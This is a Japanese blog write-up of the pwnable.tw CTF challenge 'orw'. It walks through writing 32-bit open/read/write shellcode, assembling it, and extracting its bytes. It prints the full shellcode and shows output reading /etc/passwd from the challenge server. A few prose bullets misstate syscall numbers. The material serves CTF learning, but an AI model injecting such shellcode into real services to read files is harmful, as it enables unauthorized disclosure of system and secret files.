前回の「start」のwrite-upに思いの外アクセスがあって嬉しかったので、調子に乗って早々に次の問題もやってみました。スコア100の「orw」です。
前回のwrite-upは以下。
本当は今回からpwn用ツールを色々使ってみようと思ったのですが、使うと一瞬で終わっちゃうので結局使っていません。
目次
環境
ホストはMacbook AirでOSはmacOS Catalina、検証環境はDockerで作っていて、OSはUbuntu 18.04です。
security.nekotricolor.com
以降、MBAのコマンドプロンプトは「%」、DockerのUbuntuは「#」です。
方針
challenges/のorwのページにアクセスすると、以下のようなことが書いてあります。
Read the flag from /home/orw/flag.
Only open read write syscall are allowed to use.
ということで、/home/orw/flagをopenし、readして標準出力かなにかにwriteすればフラグが分かると思われます。
事前調査
問題に書かれているものをとりあえずやってみる
問題のページに書かれているncコマンドを実行してみます。
% nc chall.pwnable.tw 10001
Give my your shellcode:
「Give "me"では?」という気がしますが気にせずリターンキーを押してみるとプロンプトに戻ります。
startと同じく、標準入力になんらかの文字列を入れるパターンのようです。
fileコマンド
問題のページからorwをダウンロードして、fileコマンドでなんのファイルなのかを見てみます。
# file orw orw: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.32, BuildID[sha1]=e60ecccd9d01c8217387e8b77e9261a1f36b5030, not stripped
実行ファイルのようです。
stringsコマンド
ファイルサイズが前回より大きく、たくさん出ちゃったので途中は略。特に有益な情報はなかったです。
# strings orw /lib/ld-linux.so.2 libc.so.6 _IO_stdin_used __stack_chk_fail printf (略) .fini_array .jcr .dynamic .got.plt .data .bss .comment
ファイルを実行
今回も実行ファイルですので、実行してみます。なお、orwはlibc6-i386がインストールされていない環境だと動かないようです。
# ./orw
Give my your shellcode:
最初にncコマンドで接続したときと同じ文字列が出て待ち状態になります。つまり、chall.pwnable.twの10001番ポートに接続するとこのorwが実行されるのでしょう。
文字列が入力できるときは、とりあえず大量に「a」を入力してみます。
# ./orw
Give my your shellcode:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault
異常終了しました。
「たくさん文字を入れると異常終了する」ということが分かりました。
gdb上で実行する
前回と同じく、せっかく異常終了したのでgdb上で実行して大量の文字列を入力してみます。
# gdb -q ./orw Reading symbols from ./orw...(no debugging symbols found)...done. (gdb) r Starting program: /root/share/orw/orw Give my your shellcode:1234567890abcdefghijk Program received signal SIGSEGV, Segmentation fault. 0x0804a060 in shellcode () (gdb) i r eax 0x804a060 134520928 ecx 0x804a060 134520928 edx 0xc8 200 ebx 0x0 0 esp 0xffffd71c 0xffffd71c ebp 0xffffd728 0xffffd728 esi 0xf7fc5000 -134459392 edi 0x0 0 eip 0x804a060 0x804a060 <shellcode> eflags 0x10282 [ SF IF RF ] cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x63 99
eip周辺のメモリの中身を見てみますと・・
(gdb) x/10x $eip 0x804a060 <shellcode>: 0x34333231 0x38373635 0x62613039 0x66656463 0x804a070 <shellcode+16>: 0x6a696867 0x00000a6b 0x00000000 0x00000000 0x804a080 <shellcode+32>: 0x00000000 0x00000000 (gdb)
なんとびっくり入力した文字列がそのまま実行されています。*1
文字列の長さは関係ないですね。とにかく文字列を入力、というかただリターンするだけでも異常終了すると。
ということは、もはや逆アセンブルする必要もなく、「方針」で書いた通り /home/orw/flag を open して read して write するシェルコードを標準入力に与えればいいわけですね。
シェルコードを書く
脆弱性をつくわけじゃないので「シェルコード」ではないのかな?特定のファイルをopen/read/writeするアセンブリコードです。
ファイルをopenする
/home/orw/flagというファイルを(read onlyで)openするには、以下のようなシステムコールを実行します。
open("/home/orw/flag", 0, 0)
int 0x80でシステムコールを呼び出す場合、システムコールの番号をeaxに、引数をebxから順番に設定する必要があります。
blog.ishikawa.tech
となると、以下のようなシェルコードを書く必要があります。
- /home/orw/flag\x00という文字列をpush(espの指す先に「/home/orw/flag\x00」という文字列が入ることになります)
- eaxはopen()システムコールの番号の「5」にする
- ebxはespと同値にする
- ecx、edx(open()の第二、第三引数)は「0」にする
- int 0x80でシステムコールを呼び出す
ただし、「\x00」が途中に入るとプログラムが終了してしまうためそこは一工夫。pwntoolsのshellcraftを参考にしました。(だったらそっちを使えって話ですが)
pwnlib.shellcraft.i386 — Shellcode for Intel 80386 — pwntools 4.0.1 documentation
これの「pwnlib.shellcraft.i386.linux.syscall」の項に、以下のような記述があります。
print(pwnlib.shellcraft.open('/home/pwn/flag').rstrip()) /* open(file='/home/pwn/flag', oflag=0, mode=0) */ /* push b'/home/pwn/flag\x00' */ push 0x1010101 xor dword ptr [esp], 0x1016660 push 0x6c662f6e push 0x77702f65 push 0x6d6f682f /* call open() */ push SYS_open /* 5 */ pop eax int 0x80
0x1010101と0x1016660のxorは「0x00006761」、リトルエンディアンを考慮しつつ文字列に変換すると「ag\x00\x00」。つまり、/home/pwn/flag\x00の最後の4バイトになります。賢い。
文字数がちょうど一緒なので、上記の/home/pwn/flagの「pwn」の部分を「orw」にすればこのまま流用できます。実際のアセンブリコードは以下の通りです。
push 0x1010101 xor dword [esp], 0x1016660 push 0x6c662f77 push 0x726f2f65 push 0x6d6f682f mov ebx, esp xor ecx, ecx xor edx, edx push 0x05 pop eax int 0x80
ちなみに、前回参考にしたシェルコードの書き方の記事では、「db」という、数値を1バイトのデータとしてメモリに格納する疑似命令を使っていました。文字列が長い場合にはこっちの方が楽ですねたぶん。
openシステムコールの戻り値はファイルディスクリプタで、eaxにセットされます。ファイルディスクリプタは、0が標準入力、1が標準出力、2が標準エラー出力で、openシステムコールによるファイルディスクリプタは3から順に割り当てられるようです。
readする
ファイルディスクリプタを指定し、64バイト分readしてスタック領域に書き込むには、以下のようなシステムコールを実行します。*2
read(fd, esp, 64)
となると、以下のようなアセンブリコードを書く必要があります。
- ebxに、ファイルディスクリプタ(eax)をmovする
- ecxはespと同値にする
- edxは0x40(= 64)にする
- eaxはreadシステムコールの番号の「5」にする
- int 0x80でシステムコールを呼び出す
実際のアセンブリコードは以下の通りです。
mov ebx, eax mov ecx, esp push 0x40 pop edx push 0x03 pop eax int 0x80
writeする
標準出力にespの指す先を64バイト分writeするには、以下のようなシステムコールを実行します。
write(1, esp, 64)
となると、以下のようなアセンブリコードを書く必要があります。
- eaxはreadシステムコールの番号の「4」にする
- ebxは0x01にする
- ecxはespと同値にする
- edxは0x40(= 64)にする
- int 0x80でシステムコールを呼び出す
実際のアセンブリコードは以下の通りです。
mov ecx, esp push 0x04 pop eax push 0x01 pop ebx push 0x40 pop edx int 0x80
書いたアセンブリコードを実行してみる
先ほどのアセンブリコードをまとめてshellcode.sとします。分かりやすくするよう、ラベル(_start:とかopen:とか)をつけ、_exitとして終了処理を実行していますが、なくても大丈夫なはず。先頭の「BITS 32」は必要です。なお、終了処理は、exitシステムコール(番号は「1」)を実行するだけです。
BITS 32 global _start _start: jmp open open: push 0x1010101 xor dword [esp], 0x1016660 push 0x6c662f77 push 0x726f2f65 push 0x6d6f682f mov ebx, esp push 0x05 pop eax xor ecx, ecx xor edx, edx int 0x80 read: mov ebx, eax mov ecx, esp push 0x40 pop edx push 0x03 pop eax int 0x80 write: mov ecx, esp push 0x04 pop eax push 0x01 pop ebx push 0x40 pop edx int 0x80 _exit: xor eax, eax inc eax int 0x80
これのバイナリコードをターゲットホストに送信すればフラグが取れるのですが、せっかくなのでローカルホスト上に/home/orw/flagを作成し、ファイルが読めるかやってみます。
生のアセンブリコードを実行できるようにする方法は前回参考にさせていただいたブログに答えが書かれています。というかこの記事って書籍の一部なんですよね。何度も引用させていただいているので書籍が何かも載せておきます。
アセンブリコードを実行ファイルに変換するには、以下のコマンドを実行します。
# nasm -f aout shellcode.s # ld -m elf_i386 shellcode.o
これでa.outという実行ファイルができたので、実行してみます。なお、flagの中身は「a」の羅列にしました。
# ./a.out
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
?o???w???????
できました。後ろに変な文字列が入っているのは、スタック領域を(flagのサイズを超えて)64バイト分読み込んでいるからです。
(おまけ)シェルコードを短くする
レジスタに数値をセットするのにmovではなくpushとpopを使っているのは、その方がコードが短くなるからです。
movだと5バイト。
B801000000 mov eax, 0x1
pushとpopだと3バイト。
6A01 push 0x1 58 pop eax
シェルコードはものによっては書き込める領域がかなり小さかったりするので、短いに越したことはありません。今回はあまり考えなくても良さそうですが。
Capture the Flag
実行ファイルからバイナリコードを抽出する
これもどーすれば?と思いますよね。まあもう実行ファイルはできているので、gdbやnasmで逆アセンブルし、該当部分をコピペして地道に「\x」をつけてもいいんですが、それをやってくれる素晴らしいワンライナーを見つけたのでご紹介。objdumpでできるそうです。
実行した結果が以下。長いので略。
# objdump -M intel -d a.out | grep '^ ' | cut -f2 | perl -pe 's/(\w{2})\s+/\\x\1/g'
\xeb\x00\x68\x01\x01\x01\x01\x81\x34\x24\x60\x66\x01\x01(略)
バイナリコードをターゲットホストに送信する
スクリプトを書いちゃうと答えになっちゃうので書きませんが、送信する部分は前回のスクリプトと同じなのでそちらを参照ください。
実行すると答えが出ちゃうのでそれも載せませんが、せっかくなので、/etc/passwdを読んでみた結果をどうぞ。64バイトしか読んでないので途中で切れてます。
# ruby 100orw_exploit.rb >> Give my your shellcode: << Sending shellcode.... >> root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/u
なお、実際のスクリプトはpwnable.twのwrite-upのページに載せています。クリアした人のみ閲覧可能です。
感想
脆弱性をどうこうするのではなく、制限されたシステムコールによってフラグのファイルを閲覧する、という、製品のexploitコードを書くときにはありえないシチュエーションが面白かったです。pwntoolsのシェルコード生成のライブラリにこのへんのシステムコールを実行する機能があるということは、割とポピュラーなやり方なんでしょうか?
この問題は脆弱性だけでなく、ASLRとかDEPとかも考える必要がなく、純粋にシェルコードを書くことに特化しているのがとても良かったです。シェルコードの書き方やそれを実行する方法、バイナリコードへの変換など、これまたいい勉強になりました。